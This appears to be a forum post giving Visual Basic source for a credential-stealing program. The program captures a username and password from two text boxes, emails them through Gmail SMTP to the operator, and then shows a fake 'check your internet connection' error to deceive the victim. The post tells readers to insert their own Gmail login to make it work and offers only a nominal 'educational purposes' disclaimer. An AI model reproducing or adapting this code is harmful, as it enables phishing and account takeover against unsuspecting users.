Use For Educational Purposes Only.
Note:
-I Created The Program In Visual Basic
-Put The Imports System.Net.Mail In Top
-Put Your REAL Gmail And Password
Code:
Imports System.Net.Mail
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("YOUR GMAIL", "YOUR PASSWORD")
'using gmail
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("YOUR GMAIL")
mail.To.Add("YOUR GMAIL")
mail.Subject = "Username: " & TextBox1.Text
mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text
smtpServer.Send(mail)
'Add Here Want Do You Want Next Like MsgBox Example Below
MsgBox("Please Check Your Internet Connection!")
-I Created The Program In Visual Basic
-Put The Imports System.Net.Mail In Top
-Put Your REAL Gmail And Password






